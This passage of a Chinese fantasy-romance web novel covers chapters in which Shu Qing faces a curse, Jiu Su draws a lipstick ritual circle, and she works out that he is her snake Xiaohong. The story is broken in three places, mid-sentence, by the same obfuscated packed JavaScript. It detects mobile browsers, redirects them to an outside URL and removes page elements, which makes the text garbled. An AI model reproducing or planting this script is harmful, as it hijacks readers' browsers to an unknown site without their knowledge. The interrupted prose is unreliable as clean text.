舒情想了想,打开自己平时玩的手游,点开了游戏里自带的占卜系统。她花了点游戏币,连着抽了十次签,一串排开在眼前,从头黑到尾,“凶”与“大凶”交错排列,连个不好不坏的“平”都没有。 根据官网概率公示算一算,她这抽签结果……概率甚至还不到万分之一。 就算真是命犯太岁、流年不利,也不至于到这个地步吧? 舒情脸色不太好,她再次抓起手机,问九素:“吉祥鸟确实只会给人带来好运吗?或者,有没有什么手段,是能让人在一段时间里特别背运的?” 22. 毛毯与羽毛夹 做个饭惊险成这个样子,舒情也不敢头铁继续做了,她叫了个外卖,留言让放在门口,自己去冲澡,洗掉了刚刚吓出的一身冷汗。 温热的水流遍全身,安抚了她的精神。舒情从紧绷的思绪中缓过来,换了一身睡衣,一步一顿地走出浴室。 至于商家装错餐什么的……呵呵,那根本不算是事。 她把自己不爱吃的内脏挑出来丢掉,凑合着一边吃剩下的,一边看九素的回复:吉祥鸟鸟如其名,并不会让人倒霉。至于诅咒的手段,当然有,而且还为数不少。 所谓运势,无非就是好事或者坏事发生的可能性,既然有吉祥鸟这种增加好事概率的妖怪,自然也有对应能使坏事频繁发生的妖怪。 倘若遇到了类似的诅咒,不用太担心,有小红在,不至于发生恶性事件。至于其他的事…… “让你的朋友把吉祥鸟送到你家里。”九素告诉她,“今晚我上门拜访,会有办法化解。” 舒情看完这番话,悬着的心放下了一半,决定立刻按照九素的建议采取行动。 唯一出现偏差的是,并不是戚昀带着吉祥鸟来就她,而是她带着小红,经历了差点被自行车撞、地铁临时停运、半路遭遇大型流浪犬……等乱七八糟的事件之后,艰难地抵达了戚风影楼。 小蛇妖快被她气死了,恨得直咬她。 舒情自认理亏,豁出去一根小指头随便它咬——但没办法,她也是事出有因。 “我今天倒霉死了!”戚昀脚上打着夹板,一见她就抱怨,“一大早就从楼上摔下来,腿给扭了,这才刚从医院回来。这什么‘吉祥鸟’啊,我就说吉祥鸟不长这样,我们是被超管局忽悠了吧,这真不是乌鸦吗?九素怎么说?” 舒情同情地把自己今天的遭遇给她分享了一下,两个人面面相觑。 她俩又在三个人的小群里找涂楠求证,十分钟后,得到了涂楠兴奋的回应——今天的组会上,她负责的功能被评定为最优,给她年中的晋升之路增加了一枚颇有些重量的砝码。 舒情:“……” 戚昀:“……” 看来确实不是吉祥鸟的错。 算了,还是先以不变应万变,等晚上和专业人士碰了面再说吧。 专业人士来得很快,他出现的时候,舒情甚至还没睡醒。她提心吊胆了一路,神经紧绷绷的,坚持到戚风影楼之后,没多久就栽倒在躺椅上睡过去了,还是九素把她弄醒的。 她睡眼惺忪地睁眼一看,九素正在往她身上盖毯子,还在轻手轻脚地企图给她掖好肩后的被角。 两个人四目相对,一缕银发恰好落在她脸上,弄得她微微地发痒。九素的手还插在她长发里,距离颈动脉不足半厘米,她甚至能感觉到他偏低的体温。 将触未触,似有若无,像两块尚未咬合的磁极,越发叫人绮思遐想。 “我说,先生。”舒情苦笑起来,“你要是已经决定只当朋友了,就别做这种让我忍不住有想法的事啊。” 九素触电似的缩回手,面无表情地岔开了话题:“那只鸟呢?” “哦,在隔壁。”舒情从躺椅上翻身下来,翻开毯子找了找,小蛇果然又不知道跑去了哪里。总之就在这影楼之中,也不会出什么事,她就自己带着九素,去隔壁看吉祥鸟“发财”。 没一会儿,戚昀也乘坐着一个带小轮子的工作椅,被影楼员工推着来了,还诧异地问:“你什么时候来的,我怎么都没注意到?” 舒情心里忽然微微一动。 九素则干脆就没有理睬这句话,他伸手把发财捉出了临时的鸟笼,上下打量了一圈。 发财翅膀上还缠着绷带,在他手里几乎也不扑腾,老实得像个久经驯化的宠物鸟。 “念念和发财都不怕他,”舒情心里想,“说明他不是我想象中那种能抓妖的道士之类……那为什么他一露面,小红就要躲起来?” 没道理啊。 九素这时说:“我需要一张空桌子,还有你们梳妆用的口脂……不,口红。” 员工们赶忙送来了各色口红,从死亡芭比粉到姨妈红,千变万化的摆了一桌子。还有一位尤其聪明,举着一管浅豆沙色的雾面“子弹头”给九素推荐:“这个色号适合您,提气色,而且看不出来。” 九素接过来,感觉不太对,往手上一画,顿时无语,“……” 舒情福至心灵,根据超管局逼她背下来的那堆学习资料,猜到了他可能是需要朱砂的平替,挑出了一管正红色的递给他。 九素把吉祥鸟圈在桌子正中间,就着这管口红,开始在空桌子上勾勒起一个极其复杂的图案。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983609|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他这次没有任何现代化的仪器可以借助,只靠一支工业生产的廉价口红,徒手在一张方桌上画法阵,居然如行云流水,一丝不错。 他手极稳,下笔极精确,雪白的手腕移动,描出鲜红诡异的阵纹,撞色得惊心动魄。 在场的人全都屏住了呼吸,熟悉的寒意升腾起来,循着皮肤阴冷地渗入颅脑,有两个员工下意识地就掉过头去,不敢看。 九素冷淡地吩咐:“无关的人都出去。” 几个员工二话不说地撤退了,屋里只剩下舒情和戚昀两个人,以及两只小妖怪。 九素花了两分钟时间,一气呵成地画完了这个朱砂阵,随后咬破指尖,在五个方位都滴上了一滴血。血滴入阵,那口红画就的线条居然诡异地流动起来,点点鲜红缓慢地、试探似的游走,越流越快,最后倏然加速,刹那间,没入了阵中心吉祥鸟的体内。 整个法阵都凭空消失了。吉祥鸟尖厉地鸣叫一声,挣扎起来,用力之大,几乎挣断了脚上的绳子。 它的翎毛和尾羽上渐渐浮现出了五根色彩格外绚丽的羽毛,九素用剪刀一一剪下来,交给舒情保管;然后他重新画了一个法阵,将全过程如法炮制了一遍,这次剪下的五根羽毛是戚昀的。 做完这一切,他脸色更苍白了,几乎真的就像要原地化开了一样。 这次连戚昀都忍不住问了一句:“你没事吧?” 九素全然不放在心上地摇了摇头,反倒是指了一下那只直挺挺躺在桌子上挺尸的吉祥鸟,交代:“好好照顾它,养半个月就好了。” 他又把舒情那五根彩色羽毛要过来,拆了影楼里的一个古风头饰,动手把这五色羽毛连缀打结,修修剪剪,爆改出了一枚五光十色的民族风发卡,别说,倒也别致。 “戴着不要离身。”他把发卡交还给舒情,嘱咐她,“可以抵消厄运。” 舒情当场戴在了头上,对镜照了照,认为自己应该立刻动身,前往马尔代夫海边度假。 戚昀低头看看自己手里这干巴巴的五片羽毛,又看看舒情,牙根有点酸,生活优渥且不缺优越感的富二代,有生以来第一次遭受到这等毫不掩饰的区别待遇。 她眼角抽搐,疯狂地给舒情使眼色:你确定他这只是“朋友之谊”? 舒情无言以答。 23. 桃花梦 舒情拿了装备回来,一路上有吉祥鸟羽毛加持,果然顺顺利利,无事发生。 她考虑到可能要在影楼借住挺长一段时间,还特意打了包裹,带上了几件衣服、数位板和她新买的小鱼缸。 这小鱼缸带得果然很有必要,她回到影楼一加上水,小蛇妖就钻了进去,盘在水底的一截树杈子上,头枕着树枝,没多久就睡着了。 早上看它时还精神了点,晚上就又打蔫犯困了,愁人。 舒情伸出手指轻轻捋了捋小蛇妖的脑袋,悄无声息地走了出去。 她问戚昀要了个临时的卧室,收拾出了一片能住人的地方,早早地躺下了,然而睡不着,在一片黑暗中睁着眼睛看天花板。 戚昀匀给她的这间“卧室”本来是影楼的一间更衣室,没窗户,关了灯,屋里伸手不见五指。她什么也看不见,于是,就模模糊糊地看到了九素那双浅檀色的眼睛。 下午她小睡,睁开眼睛的时候,恰好撞上的他那双眼睛。 他眼睛的颜色比常人浅一些,心思也就显得没那么深,她能清楚地看到他眼底流动的温柔,以及满满映照的她的倒影——纵然舒情的感情经历极其有限,她也能看出来,那眼神甚至都不是在看一个“喜欢”的人。 久别重逢、失而复得、近乡情怯……以舒情的阅历,并不足以分辨出这其中的诸般情绪,她只能模模糊糊地意识到,九素应该是把她看得极其珍贵、独一无二的。 就好像,在她还不知道的时候,她就已经是他很重要的人了一样。 也许是日有所思夜有所梦,舒情好不容易迷迷糊糊地睡着了,梦里仍然是九素那双眼睛。 不过这一次,那双眼底倒映的并不仅仅是她,她在他的眼睛里看见了一片漫无边际的桃花林。 “喂,”她听见自己笑着揶揄他,“昨晚那样大风雨,这里的花不可能还开得这么好吧。你这拿幻术糊弄我呢?” 九素回眸顾她,清越的声音里藏着一丝笑意:“幻术只能改变表象,不能无中生有。你是不是该补课了?” “这么说,是真的花?”她才不和他计较那张狗嘴,惊喜地跑进桃花林里,深吸一口气,吸了满怀雨后清新而甜美的香气,“我闻到了白玉髓的味道。你是用白玉髓布阵修复的?” 九素随在她身边,含着一缕笑意点头,还调笑她,“鼻子真灵。” 那是个真实的、由心而发的笑容,犹如穿林而过的东风,浸透声音与眼瞳,不像现世里冷淡又疏远的微笑,只停留在唇角。 “你花这么多钱,弄这么大阵仗,是为的什么呀?”她笑眯眯地调戏回去,“你是不是喜欢我?” 九素脸上终于出现了一丝窘迫的神色,“你一个姑娘家,问我这个?” “我不问怎么办呢?”她不满地说道,“指望你主动开口,我怕不是得等到下辈子?” 他别过头去不敢看她,银发遮不住颜色,一只耳朵红得像是要滴下血——这可真是缴械投降了。 她大乐,一蹦一跳地转到他面前,一躬身,圆溜溜的眼睛自下而上地仰望着他:“你倒是说话呀?” 还去揪他雪白的袖角,“你说呀。”再揪揪衣摆,“说句话?” 九素被她骚扰得受不了了,反手抓住了她作乱的爪子,咬牙切齿地反问她:“你说呢?” 她噙着压不住的笑容,状似无辜地眨眨眼。 他仿佛被迷惑了一般,红瞳闪烁,俯身向她靠过来。 她还以为他要干什么坏事,下意识地闭上眼睛,心跳的声音震耳欲聋。下一瞬,她感到额心落下了一点清凉的柔软,一触即分。 他很快就放开了她,这个吻蜻蜓点水,短暂得几乎像个幻觉。 只仿佛听到他低声说了句,“傻子。” “……”她哭笑不得地嘟囔道:“你才是傻子。” 舒情早上醒来的时候,还觉得肺腑之中满是桃花的清香,额心冰凉柔软的触觉仿佛还在,挥之不去。她抱着被子发了会儿呆,把从梦里带出来的酸酸甜甜一并压下去,这才磨磨蹭蹭地从行军床上爬下来。 她去小鱼缸里看她的蛇,小蛇妖还在睡,被她捞起来的时候也没清醒,本能地首尾并用缠上了她的手腕,还迷迷糊糊地蹭了蹭她。 舒情试探着想摸摸它的尾巴,小蛇瞬间一激灵,将尾巴一缩,不给她碰,还冲她龇牙。 她只好收手,把小蛇放到她枕头上继续睡着,自己端着鱼缸出去了——这是个很寻常的动作,她每天早晚都会给鱼缸换上新鲜的水,小蛇朦胧中抬头看了一眼,没在意,埋头继续睡觉。 水虽然换了,昨晚的水也没浪费,它被倒进了一个干净的玻璃杯里。 只过了一夜,这水仍然清透澄净,单靠肉眼,并不能看出什么端倪。舒情拧开一瓶消毒用的双氧水,往玻璃杯里倒,眼睛一眨不眨地盯着水面看。 片刻后,水底开始冒出微小的水泡,要不是她盯得紧且眼神好,几乎根本就注意不到。 舒情面无表情地把水倒掉了,回头看看她的小蛇,它全身光洁美丽,仍然看不出来有半点伤痕。 她怅然地叹了口气,拿起手机,也不讲究什么情节设计、打光布景之类的,全当做是日常分享,拍了几张小蛇沉睡的照片,发到了她的短视频账号上。 九素一直到午饭过后才现身,他来的时候,仍然是神秘莫测地直接出现在了影楼门口,经过一夜的休养,面色比昨天好看了不少。 舒情叉掉了显示着“蛇妖幻术”的搜索网页,站起来笑眯眯地打了个招呼,迎他进来,并告诉他:“大小姐去医院了,没办法,她的脚得去复查。” 九素才不在乎戚昀去了哪里,他只要舒情老老实实呆在安全的地方别乱跑就够了,问:“她那只小妖怪呢?” 这是要借用念念的能力寻根究底的意思,舒情带他进了另一个摄影棚,连带着一系列设备都给他准备好,然后坐到一边,托着下巴看他。 九素本来在布阵,然而被她这眼神看得心动神摇,手上没有破绽,心念却无法集中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039629|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只好叹了口气:“你想问什么?” “想问一些你绝对不会如实回答的问题。” “哦,”他凉凉地说,“那就憋着。” 舒情撇撇嘴,没有再追问,专注地盯着“小镜子”——精神能量显化仪里的影像。这影像里显示出了一个男人和一团毛茸茸的东西,然而仿佛信号不好,一直在波动。 舒情疑惑地问:“为什么会这样?” “干扰窥测的手段。”九素言简意赅地向她解释,他快速补了两笔阵法线,念念随之尖叫一声,镜中的画面剧烈动荡。数次以后,总算稳定下来了,但仍然好像加了一层高斯模糊一样,看不清楚。 念念已经快瘫倒了,趴在桌子上发抖,仿佛已经不堪重负。 九素微微皱了皱眉,正想继续催动阵法,舒情却拦下了他:“哎哎,别!” “你再不依不饶,我怕念念‘嘎巴’一下厥过去,回头咱俩怎么给大小姐交代?”她朝他晃了晃手机,有了上次的经验,她这次一开始就在录像,现在视频已经完美地保存在了她手机里,“这样就行了,剩下的,我来吧。” 九素依言收手,看着舒情把视频导进电脑里,问:“你想怎样?” “哼哼,”舒情神秘地笑说,“听说过PS大法吗,亚洲三大邪术,等我给你见识一下。” 九素微微一挑眉,显然这个梗对舒情来说有点古早,但对他来说还是过于新潮了,没听说过。他就坐在舒情旁边,十分感兴趣地看着她在那逐帧截图,再挨个拉进修图软件里修修补补,银发不经意间落到她手臂上,随着两人的呼吸轻轻地拂动,微微发痒。 舒情下意识地屏息,连手上的动作也慢下来。这可不是正常的社交距离,她甚至都已经能感觉到九素比常人微冷的体温了…… 她忍不住又回想起昨晚那个充满花香的绮梦,还有梦中那个转瞬即逝的额心吻。 舒情理智地想,她做这个梦是有原因的——虽然没有恋爱经历,但她言情小说和影视剧都看了不少。与干柴烈火你侬我侬的旋转接吻比起来,亲吻额心、手背,自带一种超越欲望的怜惜与克制,更合她的审美。 她和九素虽然说好了“只做朋友”,但彼此之间多少还有点暧昧不清,比方说现在,就不怎么清白。她在脑子里安排这么一个情节,完全符合理性逻辑。 至于其他的梦…… 这时,忽然有人叮叮咚咚地按起了门铃,舒情还以为是戚昀回来了,下意识地应了一声“来了”,就跑去开门。 然而门外站着的并不是戚昀,而是另一个熟人。 “不对,不能说是熟人。”舒情想开门的手滞在了半空,她想,“只有两面之缘,不算熟,甚至也不是个人。” 是那个想抢走小红的妖怪,9.2级超常规生物,金万里。 金万里压根没看她,他紧紧盯着跟在她身后的九素,眼神极其复杂,张张嘴,仿佛千头万绪一时不知道从何说起。最后,他恶声恶气地憋出来一句:“怎么,我不能来吗?” 24. 小红 舒情很不想给他开门,但这薄薄的一扇玻璃门,不可能挡得住当世已知最强的妖怪,只好勉为其难地把他放了进来,并客气地表示:“能来,就怕我们这里庙小,装不下你。” “都装得下他,还怕装不下我?”金万里终于分给了她一个宝贵的眼神,他走了进来,大马金刀往沙发上一坐,四下环顾一圈,“啧,确实庙小。俗话说得好,庙小妖风大,你嘛,破事也挺多……” 舒情:“……” 这拐弯抹角地在骂谁呢? 九素似笑非笑地睨了金万里一眼,这一眼,瞅得他气焰矮了三分。他清了清嗓子,装模作样地说道:“行吧,你不是找超管局报案说有异常能量事件吗?我就是处理人,说说吧,怎么个回事?” 舒情心说:早知道会引来这位,她还不如真就不报案了。 但报都报了,虽然来的是她之前没想象过的人,可这位的战斗力至少无可指摘,得好好用起来。 舒情于是心平气和地说道:“事情是这样的:昨天我和合作甲方戚昀同时遭到了来历不明的诅咒……” 金万里幸灾乐祸地打断她说:“为什么就要诅咒你呢,你得罪了谁?” 舒情:“……” 她报案不就是为了调查这个吗? “还不确定,”她只好重新叙述了一遍之前她和戚昀的猜想,又说,“不过那个竞争对手已经公开道歉了,我不知道她……” 金万里随手捡着桌子上待客的瓜子在嗑,闻言露出了一个十分鄙视的表情,又打断她说:“你怎么又不知道,说点你知道的?” 舒情:“…………” “这不是回答您的问题吗。”她假笑,“我要是什么都知道,那还要您干什么呢?” 金万里瞪眼,九素无声地把一只手放在舒情肩膀上,淡声说:“你继续修图吧,我来和他说。” 舒情自认为自己再多说几句话,恐怕对话就得升级成吵架,遂干脆甩锅:“好。” 三个人一起转移到屋里,舒情边听着九素给金万里讲述事情的始末,边下手如飞地修复那段模糊的视频。 九素复述起来比她简单多了,金万里反倒一直老老实实地听着,没提任何问题,还拿了两张纸在做笔记。 直到九素说到“念念窥探受阻”这段,他才拍拍胸脯,说:“那小崽子那么小呢,当然不顶用了,我那儿有人手。不就是追踪窥探吗,简单,哥,不用你费心,就看我的吧!” 九素无声地、警告似的盯了他一眼。 金万里一脸莫名,不知道自己又说错了什么话。 舒情微微一顿,恍若无事地从电脑屏幕后面抬起头,说:“倒也不用,我已经修出来了。” 金万里撇撇嘴,神情不屑,然而九素已经站起来绕到了舒情身边,他也只得不情不愿地跟了过去,拿眼睛斜瞥着电脑屏幕。 舒情先给他们看了修复之后的第一张图:“就是这个人。” 照片上是个三十岁上下的男人,身在一处幽暗的地方,45度角的黄金角度下,仍然其貌不扬,鼻子上还有一道火烧过似的伤疤。 金万里也惊了一下,很快又不屑地“嘁”了一声,被九素扫了一眼,才悻悻收敛起一篇厥词,问舒情:“没正脸吗?” 舒情摇摇头。她只是为了做动画辅修过美术专业,能从那闪烁的画面和模糊的定格里修出两张清晰的图来,已经是穷尽了毕生所学,再要多的,实在是无能为力了。 冷白修长的手指轻轻叩了下那男人鼻尖上的伤疤,九素说:“有这个特征还不够吗?” 金万里“啧”了一声:“也行,我拿这个找人去对比对比。”他加上了舒情好友,让她把照片发过来,转给了超管局的同事,又问,“还有别的线索吗?” 舒情点头说:“还有一张,拍到了环境,不知道有没有用。” 她点开了另一张全景照片,人脸没有第一张那么清楚了,但此人身处的位置变得清晰了起来——他在一间没有窗户的幽暗房间里,四周几乎没有现代的电力设备,21世纪了,居然全靠火烛照明。烛光下,墙壁上有不甚明显的纹路流动,不知道是什么东西。 “卧槽!”金万里惊叫一声,一捂眼,“赶紧把那个墙p了,那上面有东西!” 他是强大的妖怪,虽然直视了阵法,也只是觉得被太阳光晃了一下眼,没用半秒就缓了过来,立刻担忧地去看九素。 九素闭着眼睛摇摇头,再睁开眼睛的时候,神色毫无异样,甚至还回过头去望了一眼,以确认念念还在另一个屋子里趴着休养,绝不会看到电脑屏幕。 舒情手很快,迅速拿液化工具把画面上的三堵墙全都抹成了一坨黑,问:“这样行吗?”一边说着,手还没停,还在往下涂抹。 “差不多了。”金万里说,他凑近了观察屏幕,“按理说,追溯到的画面就应该是这人施行诅咒的情形,看这个环境,这应该是一种需要避开强光——尤其太阳光的诅咒媒介。嗯,而且过程估计比较长,否则挑个晚上,关灯动手就行了,没必要还弄个暗室出来……” 九素一直在仔细地观察照片,闻言微微点头,忽然目光盯住了墙上的一角,指着问:“这里能复原吗?” 他指着的那个角落已经被舒情液化成了一团黑浆糊,隐约带出来一条若隐若现的绿线,舒情笑眯眯地跟他比了个“ok”。 她小心翼翼地擦掉了上面的液化图层,金万里挤到九素前面,盯着屏幕看。他忽然“哎”了一声,摸着下巴说:“像个没长大的小崽子?” 舒情难得的和他所见略同了一回。刚才金万里示警,她急着液化,还以为这里的两个绿点是阵术的一部分,现在仔细看,才发现不是,而是小动物的一双眼睛。 这是个黑色的、毛茸茸的东西,蹲在只有烛火的暗室里,几乎和墙壁融为一体,得仔细看才能发现。 “不能看先别看。”舒情撸袖子,“等我给它抠出来。” 她对比度饱和度一通操作,准确地把那团毛茸茸勾了出来,背后墙壁上的法阵依旧遮挡得严丝合缝。 九素望了舒情一眼,眼底带出毫不掩饰的欣赏,又注目看着屏幕上勾出的那只小妖怪。金万里让开了位置,站到了另一边去观察,迟疑着说,“这玩意是‘天阴犬’吗?” 舒情非常自然地目视九素,等待解释。 “一种以阴物为食的妖怪,外形像狗。所谓阴物……尸骸、未散的魂魄、随葬的明器,都算。”九素神情如旧,然而眼底幽深,“总之,是沾染死气之物。” 舒情被他寥寥几句话说得冷飕飕的,下意识地摸摸胳膊,“这听着像妖怪版鬣狗……好吧,尸体和鬼魂我还能理解,但明器?那不是陪葬器皿吗,正常来说不能吃吧。” 金万里嘲笑道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058810|176716||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你也说了,‘正常’来说。” 舒情隐约听明白了他的意思,而且觉得听起来还有点隐约的熟悉,她迟疑地看向九素。 “天阴犬不是自然诞生的妖怪。”九素肯定了她的猜测,“用你们的话来说,是人造的。” 金万里还打开了超管局内网关于妖怪的科普,找到了天阴犬,拿给舒情看。 舒情浏览下来,大致理解了情况,也明白为什么会是这么个复古的环境了——养天阴犬讲究的就是一个阴邪,它畏惧太阳光,现代白炽灯那种过于明亮的灯光也不行。这么个阴间的东西,但凡沾上一点,自然是厄运缠身,招来的大多还都是那种恶性人身伤害事件。 “人造的”妖怪…… “行吧,那今天就先这样,我该知道的都已经知道了。”金万里接收到了九素的眼色,于是站起身来,把自己刚刚的笔记卷了卷,乱七八糟地往包里一塞,“查到了什么消息,我再通知你。这事儿挺严重的,不是小事,你那串吉祥鸟毛千万别离身。” 他说完,还望了九素一眼,“那我走了?” 舒情站起来说:“我送你。” 她一路把金万里送到了影楼门口。出了大门,金万里才又露出了原先那副阴阳怪气的嘴脸,说:“得,不敢劳动您,现在,转身,回。要不等会路上你被车撞了,又是我的锅。” 这厮战斗力虽然强,但看来心眼有限。 舒情心中一动,试探着问:“你能量等级不是比他高吗,你会怕他?” 金万里嗤笑一声,嘲弄之中隐含愤怒,问:“你这话认真的?” 舒情感觉到他很快就会透露出点什么信息了,沉住气,默不作声地盯着他的脸看。 “……算了,”谁知他竟然将满肚子的话硬生生咽了回去,自言自语似的说,“反正你一向就是这么稀里糊涂,你爱怎么想就怎么想,话说多了,真要赖我。” 看来有人嘱咐过他什么,舒情想了想,又试探了一句:“他不是你哥哥吗?” “对。”金万里冷笑了一声,“所以你最好记住,以后迟早有一天,他要回到我们这里的,他绝对不会永远待在你身边。” 这话听着也很耳熟,上次她去超管局考许可证,金万里就和她说过。 舒情这次难得没有骂回去,她停住脚步,默默地望着金万里走远了,心情复杂。 等她回到影楼里,看九素仍然在原地摆弄着什么,情绪就更复杂了,站在玻璃门外,竟然半天都没能说出来一句话。 还是九素先发现了她回来,打开门让她进屋,“发什么呆?” 舒情“哦”一声,慢吞吞地走进来,俯身去看九素刚刚在做的东西。 桌子上是几朵纸折的桃花,边边角角都叠得很精致,折完了两朵,正在做第三朵。纸桃花里有他勾画的咒文,看上去并不诡异,反而平和温暖,让人联想到冬日午后的阳光。 一刹那,她想起了梦中那片灿烂的桃花林,问:“是给我的新护身符吗?” 九素点点头,补充说明:“是,但需要每日更换。” 原来是日抛型,难怪要做这么多。 “应该要好好谢谢你的,不过以咱俩的关系,说谢谢未免就太见外了,你也不想我和你客气吧。”舒情拿起一朵纸桃花,看着像是在观赏,但目光直接与九素对视,几乎是短兵相接,她问,“是不是,小红?” 25. 新的关系 舒情本来以为九素会咬死了不承认,至少也该表现出一点慌乱的样子,然而完全没有。他连手上的纸桃花都没有错一丝折痕,仍旧好整以暇地继续折纸,只是抬起眼睛,是个很熟悉的似笑非笑的眼神。 “你怎么知道的,”九素从容地问,“他告诉你的?” 舒情拈着那朵花,面无表情地盯着他看了片刻,说:“没有,我本来只是猜测,现在才确定。” 九素置之一笑,“我哪里露了破绽?” “你说呢?”舒情一条一条数给他,“先是你脚上的伤口……天天在一起,你就算用幻术遮掩了我也看得出来。哪有那么巧的事,你脚上有一圈伤口用幻术遮掉了,小红尾巴上也有伤口?别跟我说没有,我从你泡的水里检测出了有血。” 九素眼里明显露出了疑问之色。 舒情于是拿了个杯子,重新给他做了一次用双氧水检测的实验,顺便给妖怪科普化学知识:“像这样,双氧水和正常的水混合就不会有气泡。如果有气泡,就说明水里面有血,你以为凭肉眼看不出来,我就真发现不了?” 九素对这等科技与狠活还真是毫无了解,他垂下眼睛自嘲一笑,感觉自己还是小觑了人类的智慧。 舒情从怀中摸出来那个白玫瑰似的小水晶挂坠。那挂坠已经有一片变成了浅灰色,好像一片枯萎的花瓣。 “这是你的鳞片吗?”她问,“你用鳞片给我做的?” 九素避开了这个话题,“就因为这个吗?” 这其实也就等于是默认了。 “还有九素出现之前,小红必然消失;你总在我看不到小红的时候回我消息;金万里那欲盖弥彰的各种反应,就更别提了。”舒情坐到了他身边,“反正有挺多迹象的,只要留心,就能注意到,更何况你那天还说,让我当做是你欠了我的债。” 九素沉默不语,嘴角兀自噙着一丝笑意,这神情实在复杂,以至于舒情没法判断他现在到底在想什么。 她一时半刻也有点不知道该怎么接着说下去,如簧的巧舌短暂地僵住了,两人诡异地僵持了一会儿。 她一开始关心的还是“九素就是小红”这件事本身,然而在这一片尴尬的沉默之中,许多记忆后知后觉地涌进脑海。舒情回想起自己刚捡到小红的时候,甚至还在他面前洗过澡,别说继续交流了,她简直恨不得找个地缝钻一钻。 她甚至还亲过小红! 难怪九素明示暗示地跟她说,让她不要把小红当小动物,把它当个人看…… 他就不能直说吗? 九素眼看着舒情的脸色由白转红,虽然不知道她在想什么,但以小动物敏锐的直觉意识到,不能让这份沉默继续发酵下去。于是他轻轻地咳了一声,说:“我以为你会有很多问题想问我。” 舒情抓住了这个台阶,赶紧把球踢了回去:“我在想……你其实不是在我冰箱里孵化的小妖怪?” “算是吧。”九素避重就轻地说道,“我是死过一次的妖怪,死时神魂未灭,重新孵化的只是一具新的妖身。” 舒情心说:难怪他对自己的年纪讳莫如深。 心理年龄不好说,这身体年龄么……咳。 她追问:“为什么会死过一次?” “没什么,”九素看向她,轻描淡写地回答,“技不如人。” 舒情“哦”了声,她刚才其实挺害怕九素所谓的“死过一次”和她有关系。没办法,她那些莫名其妙的梦境里,他的出镜率实在是有点高,何况金万里还对她总有莫名其妙的敌意。 她在心里重新复盘这段时日来发生的所有事:金万里的所作所为好解释了,这敌意也算有了来源,谁让九素莫名其妙地就成了她名下的小妖怪呢。 “那你……”她忽然有些胆怯,掩饰性地喝了口水,“你和我,以前,是不是认识?” 九素盯着她,看了一会儿,笑说:“不认识。” “可是,”她穷追不舍地问,“在我不认识你的时候,就曾经梦到过你了。” 九素把目光投向了远方,只留给她一个美好的侧脸。 假如舒情和他朝夕相处的时间再久一点,她就会知道这是他要说谎的前兆——他的眼睛有些太浅了,并不足以遮盖住心底的情绪。 “你是不是想说轮回转世、前世因缘?”九素平静地说,“其实那都是假的,人死之后,灵智随之湮灭,没有什么灵魂之说。我是妖怪,生而特异,才有一次神魂不灭的机会。” “不过小孩子刚刚生出灵智的时候,容易看见我们这些非人之物,倒是真的。”他转过头来,朝她笑笑,“或许是你小的时候,遇到过我的神魂也说不定。” 舒情不太相信地盯着他:“是吗?” 她老家在千里以外的首都,工作以后,因为干了信息技术业,才跑到南方的H市。这么巧,他一个游荡的魂,也从南到北跑了这么远? “也许是。”九素垂下眼睫,“也许还有别的可能,妖怪的事我懂得还多一点,然而生死之事玄妙难明,我也不是什么都知道的。” 他这么坦诚地说“我不知道”,反倒比一口咬死要可信多了。 舒情将信将疑,“信”倒比“不信”多了一点,情知继续问下去也问不出什么新的结果,放下了这个话题。 她转而去问另一件她更加关心的事:“那我们这算是什么关系,我算是你的……呃,”主宠关系肯定是不可能的,想想她自己还在租房过日子,也实在不好意思自称房东,于是说,“我算是你的室友兼债主?” 九素“嗯”一声。 “只是这样吗?” 九素轻轻叹了口气,退让道:“之前你已经追问过我了。朝夕相处,总有朋友之谊,何必这样一点余地也不留给我?” 舒情心里又酸又软,简直像是被一只手狠狠地一攥。 她对九素那点若有若无的绮念,至此彻底消散于无形——不管他是什么传奇的高等级妖怪,说到底是她亲自养着的小红,让她对小红生出什么念头来,无论从情感还是道德上,怎么都觉得别扭。 好在她的“喜欢”,是对他的喜欢的回应,是见色起意,很稀薄,拿得起,也不难放下。 “那,”她笑吟吟地问,“我就把你当化形的小红对待啦?咱们接下来应该是怎么个章程,金万里既然都知道了,我应该不用特意再去超管局报备一次了吧?” 九素点点头。 “好嘞,那就省事了。”舒情长长地伸了个懒腰,毫无形象可言地往沙发上一瘫——其实没记错的话,她在人形的九素面前还是会尽可能保持形象的,现在这身份一戳穿,形象什么的就彻底无所谓了,反正她什么样小红都见过。 于是九素就见到她在沙发上一骨碌,翻身趴着,两手支着下巴,眼睛亮晶晶地注视着他,好一副欲言又止的样子。 九素从心所欲,伸手摸了一把她毛茸茸的脑袋,“怎么了?” 舒情眨眨眼,“我真的把你当成小红啦?” “嗯。” 